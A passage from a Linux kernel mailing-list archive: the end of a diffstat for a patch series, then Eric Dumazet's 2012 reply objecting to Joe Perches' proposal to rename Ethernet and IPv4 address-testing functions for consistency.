 arch/avr32/boards/merisc/setup.c                   |    2 +-
 arch/avr32/boards/mimc200/setup.c                  |    2 +-
 arch/mips/alchemy/common/platform.c                |    4 +-
 arch/um/drivers/net_kern.c                         |    6 +-
 drivers/infiniband/core/cma.c                      |    4 +-
 drivers/infiniband/hw/amso1100/c2.c                |    2 +-
 drivers/infiniband/hw/nes/nes_nic.c                |    2 +-
 drivers/net/bonding/bond_3ad.c                     |    2 +-
 drivers/net/bonding/bond_alb.c                     |    2 +-
 drivers/net/bonding/bond_main.c                    |    6 +-
 drivers/net/dummy.c                                |    2 +-
 drivers/net/ethernet/3com/3c59x.c                  |    2 +-
 drivers/net/ethernet/3com/typhoon.c                |    2 +-
 drivers/net/ethernet/8390/etherh.c                 |    2 +-
 drivers/net/ethernet/adi/bfin_mac.c                |    6 +-
 drivers/net/ethernet/aeroflex/greth.c              |    4 +-
 drivers/net/ethernet/amd/au1000_eth.c              |    2 +-
 drivers/net/ethernet/amd/depca.c                   |    4 +-
 drivers/net/ethernet/amd/pcnet32.c                 |    8 ++--
 drivers/net/ethernet/atheros/atl1c/atl1c_hw.c      |    2 +-
 drivers/net/ethernet/atheros/atl1c/atl1c_main.c    |    2 +-
 drivers/net/ethernet/atheros/atl1e/atl1e_hw.c      |    4 +-
 drivers/net/ethernet/atheros/atl1e/atl1e_main.c    |    2 +-
 drivers/net/ethernet/atheros/atlx/atl1.c           |   10 ++--
 drivers/net/ethernet/atheros/atlx/atl2.c           |   14 +++---
 drivers/net/ethernet/atheros/atlx/atlx.c           |    2 +-
 drivers/net/ethernet/broadcom/b44.c                |    4 +-
 drivers/net/ethernet/broadcom/bnx2.c               |    2 +-
 drivers/net/ethernet/broadcom/bnx2x/bnx2x_cmn.c    |    6 +-
 drivers/net/ethernet/broadcom/bnx2x/bnx2x_cmn.h    |    4 +-
 drivers/net/ethernet/broadcom/bnx2x/bnx2x_main.c   |    6 +-
 drivers/net/ethernet/broadcom/bnx2x/bnx2x_sp.c     |    2 +-
 drivers/net/ethernet/broadcom/cnic.c               |    2 +-
 drivers/net/ethernet/broadcom/tg3.c                |    6 +-
 drivers/net/ethernet/brocade/bna/bnad.c            |    6 +-
 drivers/net/ethernet/cadence/at91_ether.c          |    6 +-
 drivers/net/ethernet/cadence/macb.c                |    4 +-
 drivers/net/ethernet/calxeda/xgmac.c               |    6 +-
 drivers/net/ethernet/chelsio/cxgb3/cxgb3_main.c    |    2 +-
 drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c    |    2 +-
 .../net/ethernet/chelsio/cxgb4vf/cxgb4vf_main.c    |    2 +-
 drivers/net/ethernet/cirrus/ep93xx_eth.c           |    2 +-
 drivers/net/ethernet/cirrus/mac89x0.c              |    2 +-
 drivers/net/ethernet/cisco/enic/enic_dev.c         |    4 +-
 drivers/net/ethernet/cisco/enic/enic_main.c        |   10 ++--
 drivers/net/ethernet/cisco/enic/enic_pp.c          |   10 ++--
 drivers/net/ethernet/davicom/dm9000.c              |    6 +-
 drivers/net/ethernet/dec/ewrk3.c                   |    4 +-
 drivers/net/ethernet/dec/tulip/de4x5.c             |    4 +-
 drivers/net/ethernet/dlink/sundance.c              |    2 +-
 drivers/net/ethernet/dnet.c                        |    6 +-
 drivers/net/ethernet/emulex/benet/be_main.c        |    8 ++--
 drivers/net/ethernet/ethoc.c                       |    6 +-
 drivers/net/ethernet/faraday/ftgmac100.c           |    2 +-
 drivers/net/ethernet/faraday/ftmac100.c            |    2 +-
 drivers/net/ethernet/freescale/fec.c               |    8 ++--
 drivers/net/ethernet/freescale/fec_mpc52xx.c       |    2 +-
 drivers/net/ethernet/freescale/gianfar_ethtool.c   |   12 ++--
 drivers/net/ethernet/freescale/ucc_geth.c          |    2 +-
 drivers/net/ethernet/i825xx/ether1.c               |    2 +-
 drivers/net/ethernet/ibm/ehea/ehea_main.c          |    4 +-
 drivers/net/ethernet/intel/e100.c                  |    4 +-
 drivers/net/ethernet/intel/e1000/e1000_main.c      |    4 +-
 drivers/net/ethernet/intel/e1000e/mac.c            |    2 +-
 drivers/net/ethernet/intel/e1000e/netdev.c         |    4 +-
 drivers/net/ethernet/intel/igb/e1000_mac.c         |    2 +-
 drivers/net/ethernet/intel/igb/igb_main.c          |    8 ++--
 drivers/net/ethernet/intel/igbvf/netdev.c          |    6 +-
 drivers/net/ethernet/intel/ixgb/ixgb_hw.c          |    6 +-
 drivers/net/ethernet/intel/ixgb/ixgb_main.c        |    6 +-
 drivers/net/ethernet/intel/ixgbe/ixgbe_fcoe.c      |    2 +-
 drivers/net/ethernet/intel/ixgbe/ixgbe_main.c      |   14 +++---
 drivers/net/ethernet/intel/ixgbe/ixgbe_sriov.c     |    6 +-
 drivers/net/ethernet/intel/ixgbevf/ixgbevf_main.c  |    8 ++--
 drivers/net/ethernet/lantiq_etop.c                 |    2 +-
 drivers/net/ethernet/marvell/mv643xx_eth.c         |    4 +-
 drivers/net/ethernet/marvell/pxa168_eth.c          |    2 +-
 drivers/net/ethernet/marvell/skge.c                |    6 +-
 drivers/net/ethernet/marvell/sky2.c                |    2 +-
 drivers/net/ethernet/mellanox/mlx4/en_netdev.c     |    2 +-
 .../net/ethernet/mellanox/mlx4/resource_tracker.c  |    4 +-
 drivers/net/ethernet/micrel/ks8695net.c            |    6 +-
 drivers/net/ethernet/micrel/ks8842.c               |    4 +-
 drivers/net/ethernet/micrel/ks8851.c               |    4 +-
 drivers/net/ethernet/micrel/ks8851_mll.c           |    2 +-
 drivers/net/ethernet/microchip/enc28j60.c          |    4 +-
 drivers/net/ethernet/myricom/myri10ge/myri10ge.c   |    2 +-
 drivers/net/ethernet/neterion/s2io.c               |    2 +-
 drivers/net/ethernet/neterion/vxge/vxge-config.c   |    2 +-
 drivers/net/ethernet/neterion/vxge/vxge-main.c     |   12 ++--
 drivers/net/ethernet/netx-eth.c                    |    2 +-
 drivers/net/ethernet/nuvoton/w90p910_ether.c       |    4 +-
 drivers/net/ethernet/nvidia/forcedeth.c            |    4 +-
 drivers/net/ethernet/nxp/lpc_eth.c                 |    8 ++--
 drivers/net/ethernet/octeon/octeon_mgmt.c          |    2 +-
 .../net/ethernet/oki-semi/pch_gbe/pch_gbe_main.c   |    6 +-
 drivers/net/ethernet/pasemi/pasemi_mac.c           |    4 +-
 .../net/ethernet/qlogic/netxen/netxen_nic_main.c   |    4 +-
 drivers/net/ethernet/qlogic/qla3xxx.c              |    2 +-
 drivers/net/ethernet/qlogic/qlcnic/qlcnic_main.c   |    4 +-
 drivers/net/ethernet/qlogic/qlge/qlge_main.c       |    6 +-
 drivers/net/ethernet/realtek/8139cp.c              |    2 +-
 drivers/net/ethernet/realtek/8139too.c             |    2 +-
 drivers/net/ethernet/realtek/r8169.c               |    2 +-
 drivers/net/ethernet/renesas/sh_eth.c              |    4 +-
 drivers/net/ethernet/seeq/ether3.c                 |    2 +-
 drivers/net/ethernet/sfc/efx.c                     |    2 +-
 drivers/net/ethernet/sfc/ethtool.c                 |    6 +-
 drivers/net/ethernet/sfc/siena_sriov.c             |    6 +-
 drivers/net/ethernet/sis/sis900.c                  |    2 +-
 drivers/net/ethernet/smsc/smc911x.c                |    4 +-
 drivers/net/ethernet/smsc/smc91x.c                 |    4 +-
 drivers/net/ethernet/smsc/smsc911x.c               |   10 ++--
 drivers/net/ethernet/smsc/smsc9420.c               |    6 +-
 drivers/net/ethernet/stmicro/stmmac/stmmac_main.c  |    4 +-
 drivers/net/ethernet/sun/niu.c                     |    8 ++--
 drivers/net/ethernet/sun/sungem.c                  |    2 +-
 drivers/net/ethernet/ti/cpsw.c                     |    2 +-
 drivers/net/ethernet/ti/davinci_emac.c             |    6 +-
 drivers/net/ethernet/tile/tilegx.c                 |    4 +-
 drivers/net/ethernet/tile/tilepro.c                |    4 +-
 drivers/net/ethernet/toshiba/ps3_gelic_net.c       |    2 +-
 drivers/net/ethernet/toshiba/ps3_gelic_wireless.c  |    2 +-
 drivers/net/ethernet/toshiba/spider_net.c          |    4 +-
 drivers/net/ethernet/toshiba/tc35815.c             |    4 +-
 drivers/net/ethernet/tundra/tsi108_eth.c           |    8 ++--
 drivers/net/ethernet/via/via-rhine.c               |    2 +-
 drivers/net/ethernet/wiznet/w5100.c                |    6 +-
 drivers/net/ethernet/wiznet/w5300.c                |    6 +-
 drivers/net/ethernet/xilinx/ll_temac_main.c        |    2 +-
 drivers/net/ethernet/xilinx/xilinx_axienet_main.c  |    2 +-
 drivers/net/hamradio/bpqether.c                    |    2 +-
 drivers/net/ifb.c                                  |    2 +-
 drivers/net/macvlan.c                              |   16 +++---
 drivers/net/phy/at803x.c                           |    2 +-
 drivers/net/rionet.c                               |    4 +-
 drivers/net/team/team.c                            |    4 +-
 drivers/net/tun.c                                  |    4 +-
 drivers/net/usb/asix_common.c                      |    2 +-
 drivers/net/usb/dm9601.c                           |    4 +-
 drivers/net/usb/mcs7830.c                          |    2 +-
 drivers/net/usb/smsc75xx.c                         |    2 +-
 drivers/net/usb/smsc95xx.c                         |    2 +-
 drivers/net/veth.c                                 |    2 +-
 drivers/net/vxlan.c                                |    4 +-
 drivers/net/wimax/i2400m/driver.c                  |    2 +-
 drivers/net/wireless/adm8211.c                     |    2 +-
 drivers/net/wireless/airo.c                        |    4 +-
 drivers/net/wireless/at76c50x-usb.c                |    8 ++--
 drivers/net/wireless/ath/ath6kl/cfg80211.c         |    8 ++--
 drivers/net/wireless/ath/ath6kl/main.c             |    8 ++--
 drivers/net/wireless/ath/ath6kl/txrx.c             |   10 ++--
 drivers/net/wireless/ath/ath6kl/wmi.c              |    4 +-
 drivers/net/wireless/ath/ath9k/recv.c              |    8 ++--
 drivers/net/wireless/b43/main.c                    |    2 +-
 drivers/net/wireless/b43legacy/main.c              |    2 +-
 .../net/wireless/brcm80211/brcmfmac/dhd_linux.c    |    4 +-
 .../net/wireless/brcm80211/brcmfmac/wl_cfg80211.c  |    2 +-
 .../net/wireless/brcm80211/brcmsmac/mac80211_if.c  |    2 +-
 drivers/net/wireless/brcm80211/brcmsmac/main.c     |   16 +++---
 drivers/net/wireless/hostap/hostap_info.c          |    2 +-
 drivers/net/wireless/hostap/hostap_ioctl.c         |    8 ++--
 drivers/net/wireless/hostap/hostap_main.c          |    2 +-
 drivers/net/wireless/ipw2x00/ipw2100.c             |    6 +-
 drivers/net/wireless/ipw2x00/ipw2200.c             |   18 +++---
 drivers/net/wireless/ipw2x00/libipw_rx.c           |   12 ++--
 drivers/net/wireless/ipw2x00/libipw_tx.c           |    4 +-
 drivers/net/wireless/iwlegacy/3945-mac.c           |    2 +-
 drivers/net/wireless/iwlegacy/4965-mac.c           |    2 +-
 drivers/net/wireless/iwlegacy/common.c             |    2 +-
 drivers/net/wireless/iwlwifi/dvm/sta.c             |    2 +-
 drivers/net/wireless/libertas_tf/main.c            |    2 +-
 drivers/net/wireless/mwifiex/join.c                |    2 +-
 drivers/net/wireless/mwifiex/scan.c                |    2 +-
 drivers/net/wireless/mwifiex/sta_cmd.c             |    2 +-
 drivers/net/wireless/mwifiex/sta_cmdresp.c         |    2 +-
 drivers/net/wireless/mwifiex/uap_txrx.c            |    2 +-
 drivers/net/wireless/mwl8k.c                       |    2 +-
 drivers/net/wireless/orinoco/wext.c                |    4 +-
 drivers/net/wireless/p54/eeprom.c                  |    2 +-
 drivers/net/wireless/rndis_wlan.c                  |   18 +++---
 drivers/net/wireless/rt2x00/rt2400pci.c            |    2 +-
 drivers/net/wireless/rt2x00/rt2500pci.c            |    2 +-
 drivers/net/wireless/rt2x00/rt2500usb.c            |    2 +-
 drivers/net/wireless/rt2x00/rt2800lib.c            |    8 ++--
 drivers/net/wireless/rt2x00/rt61pci.c              |    2 +-
 drivers/net/wireless/rt2x00/rt73usb.c              |    2 +-
 drivers/net/wireless/rtl818x/rtl8180/dev.c         |    4 +-
 drivers/net/wireless/rtl818x/rtl8187/dev.c         |    4 +-
 drivers/net/wireless/rtlwifi/base.c                |    6 +-
 drivers/net/wireless/rtlwifi/cam.c                 |    2 +-
 drivers/net/wireless/rtlwifi/pci.c                 |    8 ++--
 drivers/net/wireless/rtlwifi/rc.c                  |    4 +-
 drivers/net/wireless/rtlwifi/rtl8192ce/trx.c       |    4 +-
 drivers/net/wireless/rtlwifi/rtl8192cu/trx.c       |    4 +-
 drivers/net/wireless/rtlwifi/usb.c                 |   12 ++--
 drivers/net/wireless/ti/wl1251/main.c              |   12 ++--
 drivers/net/wireless/ti/wlcore/cmd.c               |    2 +-
 drivers/net/wireless/ti/wlcore/main.c              |    6 +-
 drivers/net/wireless/ti/wlcore/tx.c                |    2 +-
 drivers/net/wireless/wl3501_cs.c                   |    2 +-
 drivers/net/wireless/zd1211rw/zd_mac.c             |    2 +-
 drivers/of/of_net.c                                |    6 +-
 drivers/parisc/led.c                               |    2 +-
 drivers/s390/net/qeth_l2_main.c                    |    4 +-
 drivers/scsi/bnx2fc/bnx2fc_els.c                   |    4 +-
 drivers/scsi/bnx2fc/bnx2fc_fcoe.c                  |    2 +-
 drivers/scsi/fcoe/fcoe.c                           |   12 ++--
 drivers/scsi/fcoe/fcoe_ctlr.c                      |    8 ++--
 drivers/scsi/fnic/fnic_fcs.c                       |    6 +-
 drivers/staging/ccg/u_ether.c                      |    6 +-
 drivers/staging/csr/sme_wext.c                     |    2 +-
 drivers/staging/et131x/et131x.c                    |    4 +-
 drivers/staging/gdm72xx/gdm_wimax.c                |    2 +-
 drivers/staging/octeon/ethernet.c                  |    2 +-
 drivers/staging/ozwpan/ozcdev.c                    |    2 +-
 .../rtl8187se/ieee80211/ieee80211_softmac.c        |    2 +-
 .../rtl8187se/ieee80211/ieee80211_softmac_wx.c     |    2 +-
 drivers/staging/rtl8187se/ieee80211/ieee80211_tx.c |    2 +-
 drivers/staging/rtl8187se/r8180_core.c             |    2 +-
 drivers/staging/rtl8192e/rtl8192e/rtl_core.c       |    6 +-
 drivers/staging/rtl8192e/rtl819x_TSProc.c          |    2 +-
 drivers/staging/rtl8192e/rtllib_rx.c               |    8 ++--
 drivers/staging/rtl8192e/rtllib_softmac.c          |    4 +-
 drivers/staging/rtl8192e/rtllib_softmac_wx.c       |    4 +-
 drivers/staging/rtl8192e/rtllib_tx.c               |   12 ++--
 drivers/staging/rtl8192u/ieee80211/ieee80211_rx.c  |    4 +-
 .../staging/rtl8192u/ieee80211/ieee80211_softmac.c |    2 +-
 .../rtl8192u/ieee80211/ieee80211_softmac_wx.c      |    2 +-
 drivers/staging/rtl8192u/ieee80211/ieee80211_tx.c  |   12 ++--
 .../staging/rtl8192u/ieee80211/rtl819x_TSProc.c    |    2 +-
 drivers/staging/rtl8192u/r8192U_core.c             |    8 ++--
 drivers/staging/rtl8712/rtl871x_ioctl_linux.c      |    2 +-
 drivers/staging/rtl8712/rtl871x_ioctl_set.c        |    2 +-
 drivers/staging/rtl8712/rtl871x_mlme.c             |    2 +-
 drivers/staging/rtl8712/rtl871x_recv.c             |    8 ++--
 drivers/staging/slicoss/slicoss.c                  |    2 +-
 drivers/staging/vt6655/bssdb.c                     |    2 +-
 drivers/staging/vt6655/card.c                      |    2 +-
 drivers/staging/vt6655/device_main.c               |    2 +-
 drivers/staging/vt6655/dpc.c                       |    4 +-
 drivers/staging/vt6655/hostap.c                    |    4 +-
 drivers/staging/vt6655/iwctl.c                     |    2 +-
 drivers/staging/vt6655/key.c                       |    2 +-
 drivers/staging/vt6655/mib.c                       |    8 ++--
 drivers/staging/vt6655/rxtx.c                      |   10 ++--
 drivers/staging/vt6655/wpactl.c                    |    4 +-
 drivers/staging/vt6656/bssdb.c                     |    2 +-
 drivers/staging/vt6656/dpc.c                       |    4 +-
 drivers/staging/vt6656/hostap.c                    |    4 +-
 drivers/staging/vt6656/iwctl.c                     |    2 +-
 drivers/staging/vt6656/key.c                       |    2 +-
 drivers/staging/vt6656/rxtx.c                      |   14 +++---
 drivers/staging/vt6656/wpactl.c                    |    2 +-
 drivers/staging/wlags49_h2/wl_wext.c               |    2 +-
 drivers/usb/gadget/u_ether.c                       |    6 +-
 drivers/uwb/address.c                              |    2 +-
 include/linux/etherdevice.h                        |   36 ++++++++-----
 include/linux/in.h                                 |   40 ++++++++++----
 include/linux/lockd/lockd.h                        |    4 +-
 include/net/llc_if.h                               |    4 +-
 include/net/sctp/constants.h                       |   12 ++--
 net/802/stp.c                                      |    4 +-
 net/8021q/vlan_dev.c                               |    6 +-
 net/8021q/vlan_netlink.c                           |    2 +-
 net/batman-adv/bat_iv_ogm.c                        |    2 +-
 net/batman-adv/bridge_loop_avoidance.c             |    8 ++--
 net/batman-adv/routing.c                           |   20 ++++----
 net/batman-adv/soft-interface.c                    |    4 +-
 net/batman-adv/unicast.c                           |    2 +-
 net/batman-adv/vis.c                               |    4 +-
 net/bridge/br_device.c                             |    6 +-
 net/bridge/br_fdb.c                                |    2 +-
 net/bridge/br_if.c                                 |    2 +-
 net/bridge/br_input.c                              |    8 ++--
 net/bridge/br_multicast.c                          |    4 +-
 net/bridge/br_netlink.c                            |    2 +-
 net/core/netpoll.c                                 |    2 +-
 net/core/pktgen.c                                  |   14 +++---
 net/core/rtnetlink.c                               |    2 +-
 net/dsa/slave.c                                    |    2 +-
 net/ethernet/eth.c                                 |    6 +-
 net/ipv4/arp.c                                     |    4 +-
 net/ipv4/datagram.c                                |    2 +-
 net/ipv4/devinet.c                                 |    4 +-
 net/ipv4/fib_frontend.c                            |   12 ++--
 net/ipv4/igmp.c                                    |   12 ++--
 net/ipv4/ip_gre.c                                  |   22 ++++----
 net/ipv4/ipmr.c                                    |    4 +-
 net/ipv4/netfilter/ipt_rpfilter.c                  |   10 ++--
 net/ipv4/ping.c                                    |    2 +-
 net/ipv4/raw.c                                     |    2 +-
 net/ipv4/route.c                                   |   58 ++++++++++----------
 net/ipv4/udp.c                                     |    2 +-
 net/ipv6/addrconf.c                                |   12 ++--
 net/ipv6/ip6_gre.c                                 |    2 +-
 net/l2tp/l2tp_ip.c                                 |    2 +-
 net/l2tp/l2tp_ip6.c                                |    2 +-
 net/mac80211/cfg.c                                 |    2 +-
 net/mac80211/ibss.c                                |    8 ++--
 net/mac80211/ieee80211_i.h                         |    2 +-
 net/mac80211/iface.c                               |   12 ++--
 net/mac80211/mesh.c                                |    2 +-
 net/mac80211/mesh_hwmp.c                           |    4 +-
 net/mac80211/mesh_pathtbl.c                        |    4 +-
 net/mac80211/mesh_plink.c                          |    2 +-
 net/mac80211/mlme.c                                |    4 +-
 net/mac80211/rx.c                                  |   50 +++++++++---------
 net/mac80211/sta_info.c                            |    2 +-
 net/mac80211/status.c                              |    6 +-
 net/mac80211/tx.c                                  |   22 ++++----
 net/mac80211/wme.c                                 |    4 +-
 net/netfilter/ipvs/ip_vs_xmit.c                    |    6 +-
 net/netfilter/xt_cluster.c                         |    2 +-
 net/netfilter/xt_pkttype.c                         |    2 +-
 net/openvswitch/flow.c                             |    4 +-
 net/openvswitch/vport-internal_dev.c               |    2 +-
 net/sctp/protocol.c                                |   10 ++--
 net/wireless/core.c                                |    2 +-
 net/wireless/ibss.c                                |    2 +-
 net/wireless/nl80211.c                             |    4 +-
 net/wireless/util.c                                |    4 +-
 net/wireless/wext-compat.c                         |    2 +-
 net/wireless/wext-sme.c                            |    2 +-
 331 files changed, 833 insertions(+), 809 deletions(-)

-- 
1.7.8.111.gad25c.dirty


From - Thu Nov 08 21:08:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Dumazet <eric.dumazet@gmail.com>
Newsgroups: gmane.linux.network.bridge,gmane.linux.ports.mips.general,gmane.linux.usb.general,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.scsi.open-fcoe.devel,gmane.network.openvswitch.devel,gmane.linux.uml.devel,gmane.linux.scsi,gmane.linux.drivers.rdma,gmane.comp.linux.lvs.devel,gmane.linux.drivers.bcm54xx.devel,gmane.linux.kernel.wimax,gmane.linux.drivers.devicetree,gmane.linux.nfs,gmane.comp.security.firewalls.netfilter.general,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.davinci,gmane.linux.ports.parisc,gmane.linux.network,gmane.org.freifunk.batman,gmane.linux.kernel.wireless.general,gmane.linux.drivers.rt2x00.user,gmane.linux.drivers.e1000.devel,gmane.linux.drivers.ath9k.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH net-next 00/21] treewide: Use consistent api
 style for address testing
Date: Fri, 19 Oct 2012 09:04:14 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <1350630254.2293.183.camel@edumazet-glaptop>
References: <cover.1350618006.git.joe@perches.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1350630272 21557 80.91.229.3 (19 Oct 2012 07:04:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Oct 2012 07:04:32 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-usb@vger.kernel.org,
	linux-doc@vger.kernel.org, brcm80211-dev-list@broadcom.com,
	linux-kernel@vger.kernel.org, linux-sctp@vger.kernel.org,
	devel@open-fcoe.org, dev@openvswitch.org, linux-s390@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-scsi@vger.kernel.org, linux-rdma@vger.kernel.org,
	bridge@lists.linux-foundation.org, lvs-devel@vger.kernel.org,
	coreteam@netfilter.org, b43-dev@lists.infradead.org,
	cbe-oss-dev@lists.ozlabs.org, devel@driverdev.osuosl.org,
	wimax@linuxwimax.org, devicetree-discuss@lists.ozlabs.org,
	linux-nfs@vger.kernel.org, netfilter@vger.kernel.org,
	user-mode-linux-user@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org,
	davinci-linux-open-source@linux.davincidsp.com,
	linux-parisc@vger.kernel.org, netdev@vger.kernel.org,
	b.a.t.m.a.n@lists.open-mesh.org, linux-wireless@vger.kernel.org,
	us
To: Joe Perches <joe@perches.com>
Original-X-From: bridge-bounces@lists.linux-foundation.org Fri Oct 19 09:04:35 2012
Return-path: <bridge-bounces@lists.linux-foundation.org>
Envelope-to: linux-brigde@gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <bridge-bounces@lists.linux-foundation.org>)
	id 1TP6dE-0008Fa-5e
	for linux-brigde@gmane.org; Fri, 19 Oct 2012 09:04:32 +0200
Original-Received: from mail.linux-foundation.org (localhost [IPv6:::1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 25AD69F8;
	Fri, 19 Oct 2012 07:04:24 +0000 (UTC)
X-Original-To: bridge@lists.linux-foundation.org
Delivered-To: bridge@mail.linuxfoundation.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTP id E48B29F7
	for <bridge@lists.linux-foundation.org>;
	Fri, 19 Oct 2012 07:04:22 +0000 (UTC)
X-Greylist: whitelisted by SQLgrey-1.7.6
Original-Received: from mail-ea0-f175.google.com (mail-ea0-f175.google.com
	[209.85.215.175])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 4567D1FC05
	for <bridge@lists.linux-foundation.org>;
	Fri, 19 Oct 2012 07:04:22 +0000 (UTC)
Original-Received: by mail-ea0-f175.google.com with SMTP id c1so37007eaa.6
	for <bridge@lists.linux-foundation.org>;
	Fri, 19 Oct 2012 00:04:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
	h=subject:from:to:cc:in-reply-to:references:content-type:date
	:message-id:mime-version:x-mailer:content-transfer-encoding;
	bh=z9IYakRRuaFD7C90rUVp7JLEdzYtCqYxlGvAWd8/cZk=;
	b=oA9o1jQgEt4eButXQGpoR8a1WGgmRCclEanLv7BkHVcv0+Z8ziVkCU/QyWPX89l5Cn
	4q5hSbiFs/Dd0wTaQVd61LpK76MrZGFiLMgvXHxBAOt/lRVHnM5VEqAxZWtj6MESVBBv
	w/elzVRle9aBoySI97wuUpHpqS/1bjouont1eOVd3QgKSkzgKFRImDrDZHyfcuxuSSu8
	UBNjT7eIElZ0NbaGLdUttlZ54iWx9fGMV4emuiikVIi/h4oUG0UzpXVge0xau31neKOp
	KylhtR6EqcgE6EvSUPVRObmFLEFixCHqLa1yJQ6kP7Ti6J/VOQgTF9J8sm2NMkgANplW
	dX4w==
Original-Received: by 10.14.214.2 with SMTP id b2mr383585eep.32.1350630260149;
	Fri, 19 Oct 2012 00:04:20 -0700 (PDT)
Original-Received: from [172.28.91.53] ([172.28.91.53])
	by mx.google.com with ESMTPS id i1sm1090085eeo.8.2012.10.19.00.04.16
	(version=SSLv3 cipher=OTHER); Fri, 19 Oct 2012 00:04:19 -0700 (PDT)
In-Reply-To: <cover.1350618006.git.joe@perches.com>
X-Mailer: Evolution 2.28.3 
X-Spam-Status: No, score=-2.7 required=5.0 tests=BAYES_00,DKIM_SIGNED,
	DKIM_VALID, DKIM_VALID_AU, FREEMAIL_FROM,
	RCVD_IN_DNSWL_LOW autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	smtp1.linux-foundation.org
X-BeenThere: bridge@lists.linux-foundation.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Linux Ethernet Bridging <bridge.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/bridge>, 
	<mailto:bridge-request@lists.linux-foundation.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/bridge/>
List-Post: <mailto:bridge@lists.linux-foundation.org>
List-Help: <mailto:bridge-request@lists.linux-foundation.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/bridge>,
	<mailto:bridge-request@lists.linux-foundation.org?subject=subscribe>
Original-Sender: bridge-bounces@lists.linux-foundation.org
Errors-To: bridge-bounces@lists.linux-foundation.org
Xref: news.gmane.org gmane.linux.network.bridge:5778 gmane.linux.ports.mips.general:35832 gmane.linux.usb.general:73055 gmane.linux.documentation:7270 gmane.linux.kernel:1378370 gmane.linux.scsi.open-fcoe.devel:11913 gmane.network.openvswitch.devel:15338 gmane.linux.uml.devel:13710 gmane.linux.scsi:78293 gmane.linux.drivers.rdma:13686 gmane.comp.linux.lvs.devel:2768 gmane.linux.drivers.bcm54xx.devel:13547 gmane.linux.kernel.wimax:1906 gmane.linux.drivers.devicetree:22935 gmane.linux.nfs:52742 gmane.comp.security.firewalls.netfilter.general:45128 gmane.linux.uml.user:14304 gmane.linux.ports.arm.kernel:194403 gmane.linux.davinci:25395 gmane.linux.ports.parisc:4642 gmane.linux.network:246315 gmane.org.freifunk.batman:8225 gmane.linux.kernel.wireless.general:98590 gmane.linux.drivers.rt2x00.user:1264 gmane.linux.drivers.e1000.devel:10781 gmane.linux.drivers.ath9k.devel:9805 gmane.comp.security.firewalls.netfilter.devel:44658 gmane.linux.hardware.blackfin.kernel.devel:6706 gmane.linux.ports.ppc64.devel:85842
Archived-At: <http://permalink.gmane.org/gmane.linux.network.bridge/5778>

On Thu, 2012-10-18 at 20:55 -0700, Joe Perches wrote:
> ethernet, ipv4, and ipv6 address testing uses 3 different api naming styles.
> 
> ethernet uses:	is_<foo>_ether_addr
> ipv4 uses:	ipv4_is_<foo>
> ipv6 uses:	ipv6_addr_<foo>
> 
> Standardize on the ipv6 style of <prefix>_addr_<type> to reduce
> the number of styles to remember.
> 
> The new consistent styles are:
> 
> eth_addr_<foo>(const u8 *)
> ipv4_addr_<foo>(__be32)
> ipv6_addr_<foo>(const struct in6_addr *)
> 
> Add temporary backward compatibility #defines for the old names too.
> 
> Joe Perches (21):
>   etherdevice: Rename is_<foo>_ether_addr tests to eth_addr_<foo>
>   net: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
>   arch: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
>   wireless: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
>   drivers: net: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
>   staging: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
>   infiniband: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
>   scsi: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
>   of: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
>   s390: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
>   usb: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
>   uwb: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
>   Documentation: networking: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
>   llc_if.h: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
>   in.h: Rename ipv4_is_<foo> functions to ipv4_addr_<foo>
>   net: Convert ipv4_is_<foo> uses to ipv4_addr_<foo>
>   infiniband: Convert ipv4_is_<foo> uses to ipv4_addr_<foo>
>   ath6kl: Convert ipv4_is_<foo> uses to ipv4_addr_<foo>
>   parisc: Convert ipv4_is_<foo> uses to ipv4_addr_<foo>
>   lockd: Convert ipv4_is_<foo> uses to ipv4_addr_<foo>
>   sctp: Convert ipv4_is_<foo> uses to ipv4_addr_<foo>

Yes they are some names discrepancies, thats a big deal.

And we have alloc_skb() / kfree_skb() / skb_clone() 

Why not skb_alloc() / skb_free() / skb_clone() ?

Some people actually know current code by name of functions, they dont
want to change their mind and having to grep include files and git log
to learn the new names of an old function, especially when traveling and
using a laptop.

